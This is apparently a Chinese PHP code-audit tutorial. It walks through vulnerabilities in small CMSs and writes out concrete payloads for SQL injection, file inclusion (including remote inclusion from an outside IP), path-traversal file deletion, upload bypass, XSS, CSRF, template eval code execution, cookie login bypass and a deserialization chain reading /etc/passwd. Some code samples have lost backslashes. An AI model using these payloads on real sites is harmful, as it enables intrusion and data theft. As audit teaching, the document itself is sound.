0x01 sql注入
1.1 /admin/files/login.php
先看后台/admin/files/login.php
可以看到没有过滤就直接带入查询了而且还写出报错,这里就可以使用报错注入
payload
user=11' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=11&login=yes
1.2 /files/submit.php
留言板同理,全都没做过滤
seay可以看到sql语句
1.3 /files/content.php
然后就是content.php可以看到前面虽然过滤了引号但是后面就没有过滤了
1.4 /admin/files/editcolumn.php
其他的就不多说了
payload
http://127.0.0.1/cms/xhcms/admin/?r=editcolumn&type=1&id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%20--+
0x02 文件包含
2.1 文件包含小tips
相关包含函数
require()
require_once()
include()
include_once()
漏洞产生原因
可控变量,漏洞函数
2.1.1本地文件包含
<?php
$filename = $_GET['filename'];
include($filename);
?>
2.1.2有限制本地包含
<?php
$filename = $_GET['filename'];
include($filename.".html")
?>
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
shell.txt../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.html
filename=../../../../../../../boot.ini%00
长度截断:条件:windows,点号需要长于256;linux 长于4096
2.1.3远程文件包含
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
无限制远程包含
有限制远程包含
<?php include($_GET['filename'] . ".html"); ?>
filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png?
filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%23
filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%20
2.1.4伪协议包含
https://www.cnblogs.com/endust/p/11804767.html
php://filter php://input
Payload:
?filename=php://filter/convert.base64-encode/resource=index.txt
?filename=php://input post
file:// data:// pchar:// zip://
最后一个pchar是利用一个压缩包,里面存放为index.txt文件
?filename=file:///D:/phpstudy/PHPTutorial/WWW/index.txt
?filename=data://text/plain,
?filename=phar://index.zip/index.txt
2.2 index.php
继续回到zzzcms可以看到index.php有很明显的文件包含漏洞因为这里是可控的,但是截断前提还是低版本
0x03 任意文件删除
这里我们来看看zzzphp
这里来到后台随便找个删除按钮抓包
可以看到这里是请求了save.php act参数为delfile,我们来跟进看一下
可以看到返回了delfile()函数,跟进一下
function delfile(){
$file=getform('path','post');
$file_path=file_path($file);
$safe_path=array('upload','template','runtime','backup');
if(arr_search($file_path,$safe_path)){
$file=$_SERVER['DOCUMENT_ROOT'].$file;
return del_file($file);
}
}
可以看到得到path,然后找到地址然后判断路径是否包含safe_path里面的值,如果包含就得到地址然后返回del_file()函数,跟进一下
跟进下ifstrin函数
可以看到就是做了简单验证
payload
POST /cms/zzzphpV1.6.1/admin178/save.php?act=delfile
path=/cms/zzzphpV1.6.1/template/../install/1.txt
0x04 文件上传
同样先找个上传点
可以看到请求的是save.php然后act参数为upload
save.php?act=upload&uptype=image&upfolder=news
跟进一下up_load()函数
这里没有做判断然后就调用upload函数来上传这里来看下这个函数
可以看到就是个黑名单验证
添加一个asa
0x05 xss
这里我们找到个留言板抓包
我们可以看到除了content都没过滤,找个其他的地方插进去就可以了
5.1 存在httponly,扩大化利用
我们都知道如果存在httponly就无法打到cookie,但是如果页面存在phpinfo的话就可以,为什么呢,这里来看下一个phpinfo的页面
这知道了把,跳转用户访问phpinfo然后抓取里面的值就可以了
0x06 csrf
如何判断是否存在CSRF漏洞?
1. 判断是否验证Referer
2. 判断是否验证Token
3. 判断是否拥有Header头部验证
这里源码有点问题,就大概讲一下一些技巧首先就是自动加载可以添加一下代码
<script> document.forms[0].submit(); </script>
就是js自动提交表单
一般绕过
1.Referer有时候只是判断是否为空,这个我们就直接随便写个就行
2.判断必须为yicunyiye.cn这个域名,这个我们可以拿我们自己的域名解析为yicunyiye.cn.hack.cn就可以
3.判断为yicunyiye.cn/address.html,无解
然后就是不回显这种的话就前提是可以post转换为get然后再通过<img src=>去加载执行,然后就是xss配合csrf,如果存在点为发文章处,只要加载了就执行了poc
<iframe src="http://aaa/1.html" />
0x07 代码执行
全局搜索eval
可以看到里面是存在一个变量可能存在代码执行
$pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
这两行可以知道要闭合前面的)而且要为真
payload就可以构造了
{if:assert(phpinfo())}{end if}
看一下谁调用了parserIfLabel不行再来搜下它的类ParserTemplate
可以看到save.php调用了
这里我们找个userinfo去写进去
然后点击会员中心
0x08 逻辑漏洞
这里看到熊海cms
只要cookie存在user就可以绕过
直接绕过登录
0x09 反序列化
index.php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler
";
?>
user.class.php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye
";
$this->wel->handler($this->name);
}
}
?>
log.class.php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
看到index.php可以看到new了一个user对象,然后通过序列化加base64加密
转到user.class.php
因为new了一个对象所以执行construct(),然后destruct()的时候调用handler方法输出sk4
转到log.class.php,可以很明确的看到有个文件包含
这里构造payload就很简单了
O:4:"User":2:{s:10:"x00Userx00name";s:5:"admin";s:9:"x00Userx00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
但是这里的空格用x00转义一下然后同理bs4转码
>>> s = base64.b64encode(b'O:4:"User":2:{s:10:"x00Userx00name";s:5:"admin";s:9:"x00Userx00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')
>>> print(s)
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ=='
>>>